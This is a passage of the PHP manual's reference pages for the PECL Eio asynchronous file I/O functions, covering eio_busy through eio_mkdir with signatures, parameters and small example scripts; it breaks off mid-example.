  • eio_set_max_parallel — Set maximum parallel threads
  • eio_set_max_poll_reqs — Set maximum number of requests processed in a poll.
  • eio_set_max_poll_time — Set maximum poll time
  • eio_set_min_parallel — Set minimum parallel thread number
  • eio_stat — Get file status
  • eio_statvfs — Get file system statistics
  • eio_symlink — Create a symbolic link
  • eio_sync_file_range — Sync a file segment with disk
  • eio_sync — Commit buffer cache to disk
  • eio_syncfs — Calls Linux' syncfs syscall, if available
  • eio_truncate — Truncate a file
  • eio_unlink — Delete a name and possibly the file it refers to
  • eio_utime — Change file last access and modification times.
  • eio_write — Write to file

User Contributed Notes

There are no user contributed notes for this page.
Examples
eio_busy
Eio


Artificially increase load. Could be useful in tests, benchmarking.

Eio Functions
eio_cancel
Eio Functions
PHP Manual

eio_busy

(PECL eio >= 0.0.1dev)

eio_busy — Artificially increase load. Could be useful in tests, benchmarking.

Description

resource eio_busy ( int $delay [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_busy() artificially increases load taking delay seconds to execute. May be used for debugging, or benchmarking.

Parameters

delay

Delay in seconds

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

This callback is called when all the group requests are done.

data

Arbitrary variable passed to callback.

Return Values

eio_busy() returns request resource on success or FALSE on error.

See Also

  • eio_nop

User Contributed Notes

There are no user contributed notes for this page.
Eio Functions
eio_cancel
Eio Functions


Cancels a request

eio_busy
eio_chmod
Eio Functions
PHP Manual

eio_cancel

(PECL eio >= 0.0.1dev)

eio_cancel — Cancels a request

Description

void eio_cancel ( resource $req )

eio_cancel() cancels a request specified by req

Parameters

req

The request resource

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

No value is returned.

Examples

Example #1 eio_cancel() example

<?php
 /* Is called when eio_nop() finished */
 function my_nop_cb($data, $result) {
  echo "my_nop ", $data, "\n";
 }

// This eio_nop() call will be cancelled
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// This time eio_nop() will be processed
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
my_nop 2

See Also

  • eio_grp_cancel

User Contributed Notes

There are no user contributed notes for this page.
eio_busy
eio_chmod
Eio Functions


Change file/direcrory permissions.

eio_cancel
eio_chown
Eio Functions
PHP Manual

eio_chmod

(PECL eio >= 0.0.1dev)

eio_chmod — Change file/direcrory permissions.

Description

resource eio_chmod ( string $path , int $mode [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_chmod() changes file, or direcrory permissions. The new permissions are specified by mode.

Parameters

path

Path to the target file or directory

Warning

Avoid relative paths

mode

The new permissions. E.g. 0644.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_chmod() returns request resource on success or FALSE on error.

See Also

  • eio_chown

User Contributed Notes

There are no user contributed notes for this page.
eio_cancel
eio_chown
Eio Functions


Change file/direcrory permissions.

eio_chmod
eio_close
Eio Functions
PHP Manual

eio_chown

(PECL eio >= 0.0.1dev)

eio_chown — Change file/direcrory permissions.

Description

resource eio_chown ( string $path , int $uid [, int $gid = -1 [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]]] )

Changes file, or directory permissions.

Parameters

path

Path to file or directory.

Warning

Avoid relative paths

uid

User ID. Is ignored when equal to -1.

gid

Group ID. Is ignored when equal to -1.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_chown() returns request resource on success or FALSE on error.

See Also

  • eio_chmod

User Contributed Notes

There are no user contributed notes for this page.
eio_chmod
eio_close
Eio Functions


Close file

eio_chown
eio_custom
Eio Functions
PHP Manual

eio_close

(PECL eio >= 0.0.1dev)

eio_close — Close file

Description

resource eio_close ( int $fd [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_close() closes file specified by fd.

Parameters

fd

The file descriptor

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_close() returns request resource on success or FALSE on error.

See Also

  • eio_open

User Contributed Notes

There are no user contributed notes for this page.
eio_chown
eio_custom
Eio Functions


Execute custom request like any other eio_* call.

eio_close
eio_dup2
Eio Functions
PHP Manual

eio_custom

(PECL eio >= 0.0.1dev)

eio_custom — Execute custom request like any other eio_* call.

Description

resource eio_custom ( callback $execute , int $pri , callback $callback [, mixed $data = NULL ] )

eio_custom() executes custom function specified by execute processing it just like any other eio_* call.

Parameters

execute

Specifies the request function that should match the following prototype:

      mixed execute(mixed data);
callback is event completion callback that should match the following prototype:
      void callback(mixed data, mixed result);
data is the data passed to execute via data argument without modifications result value returned by execute

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_custom() returns request resource on success or FALSE on error.

Examples

Example #1 eio_custom() example

<?php
/* Callback for the custom callback */
function my_custom_callback($data, $result) {
    var_dump($data);
    var_dump(count($result));
    var_dump($result['data_modified']);
    var_dump($result['result']);
}

/* The custom request */
function my_custom($data) {
    var_dump($data);

    $result  = array(
        'result'        => 1001,
        'data_modified' => "my custom data",
    );

    return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

User Contributed Notes

There are no user contributed notes for this page.
eio_close
eio_dup2
Eio Functions


Duplicate a file descriptor

eio_custom
eio_event_loop
Eio Functions
PHP Manual

eio_dup2

(PECL eio >= 0.0.1dev)

eio_dup2 — Duplicate a file descriptor

Description

resource eio_dup2 ( int $fd , int $fd2 [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_dup2() duplicates file descriptor.

Parameters

fd

Source file descriptor

fd2

Target file descriptor

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_dup2() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_custom
eio_event_loop
Eio Functions


Polls libeio until all requests proceeded

eio_dup2
eio_fallocate
Eio Functions
PHP Manual

eio_event_loop

(PECL eio >= 0.0.1dev)

eio_event_loop — Polls libeio until all requests proceeded

Description

bool eio_event_loop ( void )

eio_event_loop() polls libeio until all requests proceeded.

Parameters

This function has no parameters.

Return Values

eio_event_loop() returns TRUE on success or FALSE on error.

Examples

Example #1 eio_event_loop() example

<?php
$temp_filename = "eio-temp-file.tmp";
touch($temp_filename);

/* Is called when eio_chmod() finished */
function my_chmod_callback($data, $result) {
    global $temp_filename;

    if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
        echo "eio_chmod_ok";
    }

    @unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

The above example will output something similar to:

eio_chmod_ok

See Also

  • eio_poll

User Contributed Notes

There are no user contributed notes for this page.
eio_dup2
eio_fallocate
Eio Functions


Allows the caller to directly manipulate the allocated disk space for a file

eio_event_loop
eio_fchmod
Eio Functions
PHP Manual

eio_fallocate

(PECL eio >= 0.0.1dev)

eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file

Description

resource eio_fallocate ( int $fd , int $mode , int $offset , int $length [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_fallocate() allows the caller to directly manipulate the allocated disk space for the file specified by fd file descriptor for the byte range starting at offset and continuing for length bytes.

Note: File should be opened for writing

EIO_O_CREAT should be logically OR'd with EIO_O_WRONLY, or EIO_O_RDWR

Parameters

fd

The file descriptor, e.g. returned by eio_open().

mode

Currently only one flag is supported for mode: EIO_FALLOC_FL_KEEP_SIZE (the same as POSIX constant FALLOC_FL_KEEP_SIZE).

offset

Specifies start of the byte range.

length

Specifies length the byte range.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_fallocate() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_event_loop
eio_fchmod
Eio Functions


Change file permissions.

eio_fallocate
eio_fchown
Eio Functions
PHP Manual

eio_fchmod

(PECL eio >= 0.0.1dev)

eio_fchmod — Change file permissions.

Description

resource eio_fchmod ( int $fd , int $mode [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_fchmod() changes permissions for the file specified by fd file descriptor.

Parameters

fd

The file descriptor, e.g. returned by eio_open().

mode

The new permissions. E.g. 0644.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_fchmod() returns request resource on success or FALSE on error.

See Also

  • eio_fchown

User Contributed Notes

There are no user contributed notes for this page.
eio_fallocate
eio_fchown
Eio Functions


Change file ownership

eio_fchmod
eio_fdatasync
Eio Functions
PHP Manual

eio_fchown

(PECL eio >= 0.0.1dev)

eio_fchown — Change file ownership

Description

resource eio_fchown ( int $fd , int $uid [, int $gid = -1 [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]]] )

eio_fchown() changes ownership of the file specified by fd file descriptor.

Parameters

fd

The file descriptor.

uid

User ID. Is ignored when equal to -1.

gid

Group ID. Is ignored when equal to -1.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

See Also

  • eio_fchmod

User Contributed Notes

There are no user contributed notes for this page.
eio_fchmod
eio_fdatasync
Eio Functions


Synchronize a file's in-core state with storage device.

eio_fchown
eio_fstat
Eio Functions
PHP Manual

eio_fdatasync

(PECL eio >= 0.0.1dev)

eio_fdatasync — Synchronize a file's in-core state with storage device.

Description

resource eio_fdatasync ( int $fd [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_fdatasync() synchronizes a file's in-core state with storage device.

Parameters

fd

The file descriptor, e.g. returned by eio_open().

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_fdatasync() returns request resource on success or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
eio_fchown
eio_fstat
Eio Functions


Get file status

eio_fdatasync
eio_fstatvfs
Eio Functions
PHP Manual

eio_fstat

(PECL eio >= 0.0.1dev)

eio_fstat — Get file status

Description

resource eio_fstat ( int $fd , int $pri , callback $callback [, mixed $data ] )

eio_fstat() returns file status information in result argument of callback

Parameters

fd

The file descriptor.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_busy() returns request resource on success or FALSE on error.

Examples

Example #1 eio_lstat() example

<?php
// Create temporary file
$tmp_filename = dirname(__FILE__) ."/eio-file.tmp";
touch($tmp_filename);

/* Is called when eio_fstat() done */
function my_res_cb($data, $result) {
 // Should output array with stat info
 var_dump($result);

 if ($data['fd']) {
  // Close temporary file
  eio_close($data['fd']);
  eio_event_loop();
 }
 // Remove temporary file
 @unlink($data['file']);
}

/* Is called when eio_open() done */
function my_open_cb($data, $result) {
 // Prepare data for callback
 $d = array(
  'fd'  => $result,
  'file'=> $data
 );
 // Request stat info
 eio_fstat($result, EIO_PRI_DEFAULT, "my_res_cb", $d);
 // Process request(s)
 eio_event_loop();
}

// Open temporary file
eio_open($tmp_filename, EIO_O_RDONLY, NULL, EIO_PRI_DEFAULT,
  "my_open_cb", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489159)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318239506)
  ["st_mtime"]=>
  int(1318239506)
  ["st_ctime"]=>
  int(1318239506)
}

See Also

  • eio_lstat
  • eio_stat

User Contributed Notes

There are no user contributed notes for this page.
eio_fdatasync
eio_fstatvfs
Eio Functions


Get file system statistics

eio_fstat
eio_fsync
Eio Functions
PHP Manual

eio_fstatvfs

(PECL eio >= 0.0.1dev)

eio_fstatvfs — Get file system statistics

Description

resource eio_fstatvfs ( int $fd , int $pri , callback $callback [, mixed $data ] )

eio_fstatvfs() returns file system statistics in result of callback.

Parameters

fd

A file descriptor of a file within the mounted file system.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_fstatvfs() returns request resource on success or FALSE on error.

See Also

  • eio_statvfs

User Contributed Notes

There are no user contributed notes for this page.
eio_fstat
eio_fsync
Eio Functions


Synchronize a file's in-core state with storage device

eio_fstatvfs
eio_ftruncate
Eio Functions
PHP Manual

eio_fsync

(PECL eio >= 0.0.1dev)

eio_fsync — Synchronize a file's in-core state with storage device

Description

resource eio_fsync ( int $fd [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

Synchronize a file's in-core state with storage device

Parameters

fd

The file descriptor.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_fsync() returns request resource on success or FALSE on error.

See Also

  • eio_sync

User Contributed Notes

There are no user contributed notes for this page.
eio_fstatvfs
eio_ftruncate
Eio Functions


Truncate a file

eio_fsync
eio_futime
Eio Functions
PHP Manual

eio_ftruncate

(PECL eio >= 0.0.1dev)

eio_ftruncate — Truncate a file

Description

resource eio_ftruncate ( int $fd [, int $offset = 0 [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]]] )

eio_ftruncate() causes a regular file referenced by fd file descriptor to be truncated to precisely length bytes.

Parameters

fd

The file descriptor.

offset

Offset from beginning of the file

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_ftruncate() returns request resource on success or FALSE on error.

See Also

  • eio_truncate

User Contributed Notes

There are no user contributed notes for this page.
eio_fsync
eio_futime
Eio Functions


Change file last access and modification times

eio_ftruncate
eio_get_event_stream
Eio Functions
PHP Manual

eio_futime

(PECL eio >= 0.0.1dev)

eio_futime — Change file last access and modification times

Description

resource eio_futime ( int $fd , float $atime , float $mtime [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_futime() changes file last access and modification times.

Parameters

fd

The file descriptor, e.g. returned by eio_open()

atime

Access time

mtime

Modification time

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_futime() returns request resource on success or FALSE on error.

See Also

  • eio_utime

User Contributed Notes

There are no user contributed notes for this page.
eio_ftruncate
eio_get_event_stream
Eio Functions


Get stream representing a variable used in internal communications with libeio.

eio_futime
eio_grp_add
Eio Functions
PHP Manual

eio_get_event_stream

(PECL eio >= 0.3.1b)

eio_get_event_stream — Get stream representing a variable used in internal communications with libeio.

Description

mixed eio_get_event_stream ( void )

eio_get_event_stream() acquires stream representing a variable used in internal communications with libeio. Could be used to bind with some event loop provided by other PECL extension, for example libevent.

Parameters

This function has no parameters.

Return Values

eio_get_event_stream() returns stream on success; otherwise, NULL

Examples

Example #1 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_res_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

The above example will output something similar to:

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.
eio_futime
eio_grp_add
Eio Functions


Adds a request to the request group.

eio_get_event_stream
eio_grp_cancel
Eio Functions
PHP Manual

eio_grp_add

(PECL eio >= 0.0.1dev)

eio_grp_add — Adds a request to the request group.

Description

void eio_grp_add ( resource $grp , resource $req )

eio_grp_add() adds a request to the request group.

Parameters

grp

The request group resource returned by eio_grp()

req

The request resource

Return Values

eio_grp_add() doesn't return a value.

Examples

Example #1 Grouping requests

<?php
/*
 * Create a group request to open, read and close a file
 */

// Create temporary file and write some bytes to it
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 var_dump($result == 0);
 @unlink($data);
}

/* Is called when eio_open() done */
function my_grp_file_opened_callback($data, $result) {
 global $grp;

 // $result should contain the file descriptor
 var_dump($result > 0);

 // Create eio_read() request and add it to the group
 // Pass file descriptor to the callback
 $req = eio_read($result, 4, 0,
   EIO_PRI_DEFAULT, "my_grp_file_read_callback", $result);
 eio_grp_add($grp, $req);
}

/* Is called when eio_read() done */
function my_grp_file_read_callback($data, $result) {
 global $grp;

 // Read bytes
 var_dump($result);

 // Create eio_close() request and add it to the group
 // $data should contain the file descriptor
 $req = eio_close($data);
 eio_grp_add($grp, $req);
}

// Create request group
$grp = eio_grp("my_grp_done", $temp_filename);
var_dump($grp);

// Create eio_open() request and add it to the group
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

See Also

  • eio_grp
  • eio_grp_cancel
  • eio_grp_limit

User Contributed Notes

There are no user contributed notes for this page.
eio_get_event_stream
eio_grp_cancel
Eio Functions


Cancels a request group

eio_grp_add
eio_grp_limit
Eio Functions
PHP Manual

eio_grp_cancel

(PECL eio >= 0.0.1dev)

eio_grp_cancel — Cancels a request group

Description

void eio_grp_cancel ( resource $grp )

eio_grp_cancel() cancels a group request specified by grp request group resource.

Parameters

grp

The request group resource returned by eio_grp().

Return Values

No value is returned.

See Also

  • eio_grp
  • eio_grp_add

User Contributed Notes

There are no user contributed notes for this page.
eio_grp_add
eio_grp_limit
Eio Functions


Set group limit

eio_grp_cancel
eio_grp
Eio Functions
PHP Manual

eio_grp_limit

(PECL eio >= 0.0.1dev)

eio_grp_limit — Set group limit

Description

void eio_grp_limit ( resource $grp , int $limit )

Limit number of requests in the request group.

Parameters

grp

The request group resource.

limit

Number of requests in the group.

Return Values

No value is returned.

See Also

  • eio_grp_add

User Contributed Notes

There are no user contributed notes for this page.
eio_grp_cancel
eio_grp
Eio Functions


Createsa request group.

eio_grp_limit
eio_link
Eio Functions
PHP Manual

eio_grp

(PECL eio >= 0.0.1dev)

eio_grp — Createsa request group.

Description

resource eio_grp ( callback $callback [, string $data = NULL ] )

eio_grp() creates a request group.

Parameters

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_grp() returns request group resource on success or FALSE on error.

Examples

Example #1 eio_grp() example

<?php
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);
$my_file_fd = NULL;

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 // Remove the file, if it still exists
 @unlink($data);
}

/* Is called when the temporary file is opened */
function my_grp_file_opened_callback($data, $result) {
 global $my_file_fd, $grp;

 $my_file_fd = $result;

 $req = eio_read($my_file_fd, 4, 0,
   EIO_PRI_DEFAULT, "my_grp_file_read_callback");
 eio_grp_add($grp, $req);
}

/* Is called when the file is read */
function my_grp_file_read_callback($data, $result) {
 global $my_file_fd, $grp;

 var_dump($result);

 // Create request to close the file
 $req = eio_close($my_file_fd);

 // Add request to the group
 eio_grp_add($grp, $req);
}

// Create request group
$grp = eio_grp("my_grp_done", $temp_filename);

// Create request
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);

// Add request to the group
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

string(4) "some"

See Also

  • eio_grp_cancel
  • eio_grp_add

User Contributed Notes

There are no user contributed notes for this page.
eio_grp_limit
eio_link
Eio Functions


Create a hardlink for file

eio_grp
eio_lstat
Eio Functions
PHP Manual

eio_link

(PECL eio >= 0.0.1dev)

eio_link — Create a hardlink for file

Description

resource eio_link ( string $path , string $new_path [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_link() creates a hardlink new_path for a file specified by path.

Parameters

path

Source file path.

new_path

Target file path.

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

Examples

Example #1 eio_link() example

<?php
$filename = dirname(__FILE__)."/symlink.dat";
touch($filename);
$link = dirname(__FILE__)."/symlink.link";
$hardlink = dirname(__FILE__)."/hardlink.link";

function my_hardlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && !is_link($data));
    @unlink($data);

    eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_cb", $link);
}

function my_symlink_cb($data, $result) {
    global $link, $filename;
    var_dump(file_exists($data) && is_link($data));

    if (!eio_readlink($data, EIO_PRI_DEFAULT, "my_readlink_cb", NULL)) {
        @unlink($link);
        @unlink($filename);
    }
}

function my_readlink_cb($data, $result) {
    global $filename, $link;
    var_dump($result);

    @unlink($link);
    @unlink($filename);
}

eio_link($filename, $hardlink, EIO_PRI_DEFAULT, "my_hardlink_cb", $hardlink);
eio_event_loop();
?>

The above example will output something similar to:

bool(true)
bool(true)
string(%d) "%ssymlink.dat"

See Also

  • eio_symlink

User Contributed Notes

There are no user contributed notes for this page.
eio_grp
eio_lstat
Eio Functions


Get file status

eio_link
eio_mkdir
Eio Functions
PHP Manual

eio_lstat

(PECL eio >= 0.0.1dev)

eio_lstat — Get file status

Description

resource eio_lstat ( string $path , int $pri , callback $callback [, mixed $data = NULL ] )

eio_lstat() returns file status information in result argument of callback

Parameters

path

The file path

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_lstat() returns request resource on success or FALSE on error.

Examples

Example #1 eio_lstat() example

<?php
$tmp_filename = dirname(__FILE__). "/eio-file.tmp";
touch($tmp_filename);

function my_res_cb($data, $result) {
    var_dump($data);
    var_dump($result);
}

function my_open_cb($data, $result) {
    eio_close($result);
    eio_event_loop();

    @unlink($data);
}

eio_lstat($tmp_filename, EIO_PRI_DEFAULT, "my_res_cb", "eio_lstat");
eio_open($tmp_filename, EIO_O_RDONLY, NULL,
 EIO_PRI_DEFAULT, "my_open_cb", $tmp_filename);
eio_event_loop();
?>

The above example will output something similar to:

string(9) "eio_lstat"
array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2099197)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318235777)
  ["st_mtime"]=>
  int(1318235777)
  ["st_ctime"]=>
  int(1318235777)
}

See Also

  • eio_stat
  • eio_fstat

User Contributed Notes

There are no user contributed notes for this page.
eio_link
eio_mkdir
Eio Functions


Create directory

eio_lstat
eio_mknod
Eio Functions
PHP Manual

eio_mkdir

(PECL eio >= 0.0.1dev)

eio_mkdir — Create directory

Description

resource eio_mkdir ( string $path , int $mode [, int $pri = EIO_PRI_DEFAULT [, callback $callback = NULL [, mixed $data = NULL ]]] )

eio_mkdir() creates directory with specified access mode.

Parameters

path

Path for the new directory.

mode

Access mode, e.g. 0755

pri

The request priority: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, or NULL. If NULL passed, pri internally is set to EIO_PRI_DEFAULT.

callback

callback function is called when the request is done. It should match the following prototype:

void callback($data, $result);
$data is custom data passed to the request. $result contains request-specific result value; basically, the value returned by corresponding system call.

data

Arbitrary variable passed to callback.

Return Values

eio_mkdir() returns request resource on success or FALSE on error.

Examples

Example #1 eio_mkdir() example

<?php
$temp_dirname = "eio-temp-dir";

/* Is called when eio_mkdir() finishes */
function my_mkdir_callback($data, $result) {
 if ($result == 0 && is_dir($temp_dirname)
   && !is_readable($temp_dirname)
   && is_writable($temp_dirname)) {
  echo "eio_mkdir_ok";
 }

 // Remove directory
    if (file_exists($data))
